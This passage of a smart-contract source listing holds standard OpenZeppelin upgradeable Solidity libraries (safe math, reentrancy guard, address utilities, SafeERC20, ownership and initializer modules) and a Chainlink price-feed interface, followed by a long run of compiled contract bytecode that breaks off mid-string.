(consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }
0x6080604052600436106101145760003560e01c8063a9818929116100a0578063d80528ae11610064578063d80528ae146102e5578063d98d0c7e146102fa578063ec402e061461030f578063f2fde38b1461032f578063fd7057f71461034f57610114565b8063a981892914610236578063ac496c7b14610249578063b194270f14610276578063b1c36ebe146102a3578063ba258d4d146102d057610114565b806367951e23116100e757806367951e231461019b578063715018a6146101c857806380c9419e146101df5780638da5cb5b1461020c578063a878e1561461022157610114565b806301ffc9a71461011957806307e2ad2f1461014f5780631c4dd7d014610171578063400b70d514610186575b600080fd5b34801561012557600080fd5b506101396101343660046124d5565b61036f565b6040516101469190612958565b60405180910390f35b34801561015b57600080fd5b50610164610389565b604051610146919061278d565b34801561017d57600080fd5b50610164610398565b34801561019257600080fd5b506101646103a7565b3480156101a757600080fd5b506101bb6101b636600461273c565b6103b6565b6040516101469190612872565b3480156101d457600080fd5b506101dd610639565b005b3480156101eb57600080fd5b506101ff6101fa3660046124fd565b6106f7565b6040516101469190612825565b34801561021857600080fd5b5061016461080f565b34801561022d57600080fd5b5061016461081e565b6101dd61024436600461238c565b61082d565b34801561025557600080fd5b50610269610264366004612345565b610bcb565b6040516101469190612a85565b34801561028257600080fd5b5061029661029136600461230d565b610ec6565b6040516101469190612963565b3480156102af57600080fd5b506102c36102be366004612656565b610ffb565b6040516101469190612a37565b3480156102dc57600080fd5b50610164611290565b3480156102f157600080fd5b506101ff611295565b34801561030657600080fd5b5061016461139d565b34801561031b57600080fd5b506101dd61032a3660046122d5565b6113ac565b34801561033b57600080fd5b506101dd61034a3660046122d5565b6116c6565b34801561035b57600080fd5b506101ff61036a3660046122d5565b6117db565b6001600160e01b0319811663560f12e560e11b145b919050565b6098546001600160a01b031681565b6097546001600160a01b031681565b609b546001600160a01b031681565b60606000609860009054906101000a90046001600160a01b03166001600160a01b03166306661abd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561040857600080fd5b505afa15801561041c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104409190612515565b9050600083821115610453575082610456565b50805b609854604051633216d38560e21b815260609182916001600160a01b039091169063c85b4e149061048d908a908890600401612b3e565b60006040518083038186803b1580156104a557600080fd5b505afa1580156104b9573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104e19190810190612425565b9150915060606104ef611f34565b60005b858160ff16101561062b57838160ff168151811061050c57fe5b60209081029190910101515182528351849060ff831690811061052b57fe5b6020908102919091018101518101516001600160a01b0316908301528351849060ff831690811061055857fe5b602002602001015160600151826060018181525050838160ff168151811061057c57fe5b602002602001015160800151826080018181525050838160ff16815181106105a057fe5b602002602001015160e001518260a0018181525050838160ff16815181106105c457fe5b60209081029190910101516101400151151560c08301528451859060ff83169081106105ec57fe5b60209081029190910101516001600160a01b031660e083015282518290849060ff841690811061061857fe5b60209081029190910101526001016104f2565b509098975050505050505050565b610641611866565b6001600160a01b031661065261080f565b6001600160a01b0316146106ad576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6033546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380546001600160a01b0319169055565b60606000609860009054906101000a90046001600160a01b03166001600160a01b03166306661abd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561074957600080fd5b505afa15801561075d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107819190612515565b6098546040516350fd736760e01b81529192506001600160a01b0316906350fd7367906107b49086908590600401612b11565b60006040518083038186803b1580156107cc57600080fd5b505afa1580156107e0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261080891908101906123f2565b9392505050565b6033546001600160a01b031690565b609a546001600160a01b031681565b60026065541415610885576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260658190555060008690506000816001600160a01b03166310474bb46040518163ffffffff1660e01b815260040160206040518083038186803b1580156108cd57600080fd5b505afa1580156108e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090591906122f1565b90506000609960009054906101000a90046001600160a01b03166001600160a01b0316639038a3ce6040518163ffffffff1660e01b815260040160206040518083038186803b15801561095757600080fd5b505afa15801561096b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098f91906122f1565b905083816001600160a01b031663dd62ed3e33306040518363ffffffff1660e01b81526004016109c09291906127a1565b60206040518083038186803b1580156109d857600080fd5b505afa1580156109ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a109190612515565b1015610a375760405162461bcd60e51b8152600401610a2e9061296c565b60405180910390fd5b610a4c6001600160a01b03821633308761186a565b604051636eb1769f60e11b81526000906001600160a01b0383169063dd62ed3e90610a7d90309088906004016127a1565b60206040518083038186803b158015610a9557600080fd5b505afa158015610aa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acd9190612515565b1415610b575760405163095ea7b360e01b81526001600160a01b0382169063095ea7b390610b03908690600019906004016127e1565b602060405180830381600087803b158015610b1d57600080fd5b505af1158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5591906124b9565b505b604051638500f56760e01b81526001600160a01b03831690638500f56790610b899089908c908c908b906004016127fa565b600060405180830381600087803b158015610ba357600080fd5b505af1158015610bb7573d6000803e3d6000fd5b505060016065555050505050505050505050565b610bd3611f85565b609754604051631b60561160e21b81526000916001600160a01b031690636d81584490610c0490899060040161278d565b60206040518083038186803b158015610c1c57600080fd5b505afa158015610c30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c549190612515565b9050610c5e611fd9565b60975460405163a5f926f560e01b81526001600160a01b039091169063a5f926f590610c95908a90899060009088906004016127bb565b60006040518083038186803b158015610cad57600080fd5b505afa158015610cc1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ce9919081019061252d565b6060850152604084015260208301528082528610610d195760405162461bcd60e51b8152600401610a2e906129f5565b60008482600001511115610d2e575083610d32565b5080515b60608167ffffffffffffffff81118015610d4b57600080fd5b50604051908082528060200260200182016040528015610d8557816020015b610d72611f85565b815260200190600190039081610d6a5790505b50905060005b82811015610ea357610d9b611f85565b84602001518281518110610dab57fe5b60209081029190910101516001600160a01b031660c08201526040850151805183908110610dd557fe5b60209081029190910101515160608201526040850151805183908110610df757fe5b60200260200101516020015181608001818152505084604001518281518110610e1c57fe5b60200260200101516040015181602001818152505084604001518281518110610e4157fe5b6020026020010151606001518160e001818152505084606001518281518110610e6657fe5b60200260200101516006811115610e7957fe5b61010082015282518190849084908110610e8f57fe5b602090810291909101015250600101610d8b565b50808881518110610eb057fe5b6020026020010151945050505050949350505050565b609754604051631b60561160e21b815260009182916001600160a01b0390911690636d81584490610efb90879060040161278d565b60206040518083038186803b158015610f1357600080fd5b505afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190612515565b9050610f55611fd9565b60975460405163a5f926f560e01b81526001600160a01b039091169063a5f926f590610f8c908890889060009088906004016127bb565b60006040518083038186803b158015610fa457600080fd5b505afa158015610fb8573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610fe0919081019061252d565b60608501526040840152602083015290819052949350505050565b611003612001565b609854604051634c3b9f1960e01b81526000916001600160a01b031690634c3b9f1990611034908a9060040161278d565b60206040518083038186803b15801561104c57600080fd5b505afa158015611060573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108491906124b9565b90506001811515146110a85760405162461bcd60e51b8152600401610a2e906129b2565b866110b1612001565b604051639b9bc30f60e01b81526001600160a01b03831690639b9bc30f906110e1908e908e908d90600401612b1f565b60606040518083038186803b1580156110f957600080fd5b505afa15801561110d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611131919061270f565b6040808501919091526020808501929092529183528151630abb87c960e11b815291516001600160a01b038516926315770f92926004808301939192829003018186803b15801561118157600080fd5b505afa158015611195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b99190612515565b816060018181525050816001600160a01b031663f60ff9376040518163ffffffff1660e01b815260040160206040518083038186803b1580156111fb57600080fd5b505afa15801561120f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112339190612515565b608082015260408051600180825281830190925260609160208083019080368337019050509050898160008151811061126857fe5b6001600160a01b03909216602092830291909101909101525092505050979650505050505050565b600090565b604051634064a0cf60e11b8152606090819030906380c9419e906112be90600090600401612963565b60006040518083038186803b1580156112d657600080fd5b505afa1580156112ea573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261131291908101906123f2565b60985460405163f10ed7a360e01b81529192506001600160a01b03169063f10ed7a390611343908490600401612825565b60006040518083038186803b15801561135b57600080fd5b505afa15801561136f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526113979190810190612486565b50905090565b6099546001600160a01b031681565b600054610100900460ff16806113c557506113c56118ca565b806113d3575060005460ff16155b61140e5760405162461bcd60e51b815260040180806020018281038252602e815260200180612c2f602e913960400191505060405180910390fd5b600054610100900460ff16158015611439576000805460ff1961ff0019909116610100171660011790555b6114416118db565b61144961198d565b609980546001600160a01b0319166001600160a01b038481169190911